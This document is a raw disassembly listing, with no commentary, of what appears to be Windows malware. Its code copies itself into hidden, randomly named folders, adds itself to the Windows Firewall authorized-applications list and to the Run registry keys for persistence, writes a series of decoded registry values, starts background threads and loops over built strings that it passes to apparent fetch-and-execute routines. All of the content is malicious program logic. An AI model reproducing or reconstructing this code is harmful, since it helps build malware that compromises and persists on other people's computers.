call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x1074]
push edx
call dword [sym.imp.USER32.dll_CloseWindow]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x10b4], 0
jmp 0x413554
mov eax, dword [ebp - 0x10b4]
add eax, 1
mov dword [ebp - 0x10b4], eax
cmp dword [ebp - 0x10b4], 0x9c4
jge 0x41357d
push str.w4yw4t4tw4twyw4y
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.w4yw4t4tw4twyw4y
push str.e5u5eue5ue5ue5ue5u
call dword [sym.imp.KERNEL32.dll_MoveFileW]
jmp 0x413545
mov ecx, dword [ebp - 0x4c4]
add ecx, 1
mov dword [ebp - 0x4c4], ecx
jmp 0x412d20
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x208
push 0
lea edx, [ebp - 0x418]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x208
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp - 0x1070]
mov edx, dword [ebp + ecx*4 - 0xfbc]
push edx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x7530
idiv ecx
add edx, 0x3e8
push edx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x7530
idiv ecx
add edx, 0x3e8
push edx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x7530
idiv ecx
add edx, 0x3e8
push edx
lea edx, [ebp - 0x418]
push edx
push str._ls_d_d_d
lea eax, [ebp - 0xb98]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x18
lea ecx, [ebp - 0x98c]
push ecx
lea edx, [ebp - 0xb98]
push edx
push str._ls_ls
lea eax, [ebp - 0xeb0]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0
lea ecx, [ebp - 0xb98]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
je 0x41381e
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
lea edx, [ebp - 0xeb0]
push edx
lea eax, [ebp - 0x6e0]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x41381e
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x4b8]
push ecx
lea edx, [ebp - 0xeb0]
push edx
push str._ls::Enabled:_ls
lea eax, [ebp - 0x940]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 7
lea ecx, [ebp - 0xb98]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 7
lea edx, [ebp - 0xeb0]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x6e4]
push eax
push 0xf003f
push 0
push str.SYSTEMCurrentControlSetServicesSharedAccessParametersFirewallPolicyStandardProfileAuthorizedApplicationsList
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x41373b
lea ecx, [ebp - 0x940]
push ecx
call sub.MSVCRT.dll_wcslen
add esp, 4
lea edx, [eax + eax + 2]
push edx
lea eax, [ebp - 0x940]
push eax
push 1
push 0
lea ecx, [ebp - 0xeb0]
push ecx
mov edx, dword [ebp - 0x6e4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [ebp - 0x6e4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x6e4]
push ecx
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun_
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x41379d
lea edx, [ebp - 0xeb0]
push edx
call sub.MSVCRT.dll_wcslen
add esp, 4
lea eax, [eax + eax + 2]
push eax
lea ecx, [ebp - 0xeb0]
push ecx
push 1
push 0
lea edx, [ebp - 0x4b8]
push edx
mov eax, dword [ebp - 0x6e4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp - 0x6e4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [ebp - 0x6e4]
push edx
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun_
push bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4137ff
lea eax, [ebp - 0xeb0]
push eax
call sub.MSVCRT.dll_wcslen
add esp, 4
lea ecx, [eax + eax + 2]
push ecx
lea edx, [ebp - 0xeb0]
push edx
push 1
push 0
lea eax, [ebp - 0x4b8]
push eax
mov ecx, dword [ebp - 0x6e4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edx, dword [ebp - 0x6e4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0xeb0]
push eax
call fcn.00410000
add esp, 4
movzx ecx, al
cmp ecx, 1
jne 0x41381e
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
jmp 0x412ce5
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [ebp - 0x6e4]
push edx
push 0xf003f
push 0
lea eax, [ebp - 0x728]
push eax
call fcn.004100c0
add esp, 4
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x41398e
push 4
lea ecx, [ebp - 0x20c]
push ecx
push 4
push 0
lea edx, [ebp - 0x4d8]
push edx
call fcn.004100c0
add esp, 4
push eax
mov eax, dword [ebp - 0x6e4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea ecx, [ebp - 0x6e4]
push ecx
push 0xf003f
push 0
lea edx, [ebp - 0xf40]
push edx
call fcn.004100c0
add esp, 4
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x4138e7
push 0
lea eax, [ebp - 0x6e4]
push eax
push 0
push 0x20006
push 0
push 0
push 0
lea ecx, [ebp - 0xf40]
push ecx
call fcn.004100c0
add esp, 4
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea edx, [ebp - 0x6e4]
push edx
push 0xf003f
push 0
lea eax, [ebp - 0xf40]
push eax
call fcn.004100c0
add esp, 4
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x413981
lea ecx, [ebp - 0x95c]
push ecx
call fcn.004100c0
add esp, 4
lea edx, [ebp - 0x46c]
push edx
call fcn.004100c0
add esp, 4
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
lea ecx, [ebp - 0x95c]
push ecx
mov edx, dword [ebp - 0x6e4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
lea ecx, [ebp - 0x46c]
push ecx
mov edx, dword [ebp - 0x6e4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x6e4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x6e4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [ebp - 0x6e4]
push edx
push 0xf003f
push 0
lea eax, [ebp - 0x43c]
push eax
call fcn.004100c0
add esp, 4
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x413b27
lea ecx, [ebp - 0xfb0]
push ecx
call fcn.004100c0
add esp, 4
lea edx, [ebp - 0x6f8]
push edx
call fcn.004100c0
add esp, 4
lea eax, [ebp - 0xf80]
push eax
call fcn.004100c0
add esp, 4
lea ecx, [ebp - 0x450]
push ecx
call fcn.004100c0
add esp, 4
lea edx, [ebp - 0xec8]
push edx
call fcn.004100c0
add esp, 4
lea eax, [ebp - 0xef4]
push eax
call fcn.004100c0
add esp, 4
lea ecx, [ebp - 0x974]
push ecx
call fcn.004100c0
add esp, 4
push 4
lea edx, [ebp - 0x20c]
push edx
push 4
push 0
lea eax, [ebp - 0xfb0]
push eax
mov ecx, dword [ebp - 0x6e4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x20c]
push edx
push 4
push 0
lea eax, [ebp - 0x6f8]
push eax
mov ecx, dword [ebp - 0x6e4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x20c]
push edx
push 4
push 0
lea eax, [ebp - 0xf80]
push eax
mov ecx, dword [ebp - 0x6e4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x20c]
push edx
push 4
push 0
lea eax, [ebp - 0x450]
push eax
mov ecx, dword [ebp - 0x6e4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x20c]
push edx
push 4
push 0
lea eax, [ebp - 0xec8]
push eax
mov ecx, dword [ebp - 0x6e4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x20c]
push edx
push 4
push 0
lea eax, [ebp - 0xef4]
push eax
mov ecx, dword [ebp - 0x6e4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x20c]
push edx
push 4
push 0
lea eax, [ebp - 0x974]
push eax
mov ecx, dword [ebp - 0x6e4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0x6e4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x6e4]
push eax
push 0xf003f
push 0
lea ecx, [ebp - 0xf68]
push ecx
call fcn.004100c0
add esp, 4
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x413cc0
lea edx, [ebp - 0xfb0]
push edx
call fcn.004100c0
add esp, 4
lea eax, [ebp - 0x6f8]
push eax
call fcn.004100c0
add esp, 4
lea ecx, [ebp - 0xf80]
push ecx
call fcn.004100c0
add esp, 4
lea edx, [ebp - 0x450]
push edx
call fcn.004100c0
add esp, 4
lea eax, [ebp - 0xec8]
push eax
call fcn.004100c0
add esp, 4
lea ecx, [ebp - 0xef4]
push ecx
call fcn.004100c0
add esp, 4
lea edx, [ebp - 0x974]
push edx
call fcn.004100c0
add esp, 4
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
lea ecx, [ebp - 0xfb0]
push ecx
mov edx, dword [ebp - 0x6e4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
lea ecx, [ebp - 0x6f8]
push ecx
mov edx, dword [ebp - 0x6e4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
lea ecx, [ebp - 0xf80]
push ecx
mov edx, dword [ebp - 0x6e4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
lea ecx, [ebp - 0x450]
push ecx
mov edx, dword [ebp - 0x6e4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
lea ecx, [ebp - 0xec8]
push ecx
mov edx, dword [ebp - 0x6e4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
lea ecx, [ebp - 0xef4]
push ecx
mov edx, dword [ebp - 0x6e4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x20c]
push eax
push 4
push 0
lea ecx, [ebp - 0x974]
push ecx
mov edx, dword [ebp - 0x6e4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x6e4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x40fc50
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x410f70
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x4112d0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
test ecx, ecx
je 0x413e24
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x10b8], 0
jmp 0x413d5e
mov edx, dword [ebp - 0x10b8]
add edx, 1
mov dword [ebp - 0x10b8], edx
cmp dword [ebp - 0x10b8], 4
jae 0x413e14
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x10bc], 0
jmp 0x413d91
mov eax, dword [ebp - 0x10bc]
add eax, 1
mov dword [ebp - 0x10bc], eax
cmp dword [ebp - 0x10bc], 6
jae 0x413e0f
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x10bc]
mov edx, dword [ebp + ecx*4 - 0xf98]
push edx
mov eax, dword [ebp - 0x10b8]
mov ecx, dword [ebp + eax*4 - 0x738]
push ecx
push str._s_s
lea edx, [ebp - 0xca0]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov eax, dword [ebp - 0x10bc]
lea ecx, [ebp + eax*4 - 0xee0]
push ecx
lea edx, [ebp - 0xca0]
push edx
call fcn.004102f0
add esp, 8
movzx eax, al
cmp eax, 1
jne 0x413e0a
lea ecx, [ebp - 0xca0]
push ecx
call fcn.00410390
add esp, 4
jmp 0x413d82
jmp 0x413d4f
push 0x124f80
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x413d2b
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x10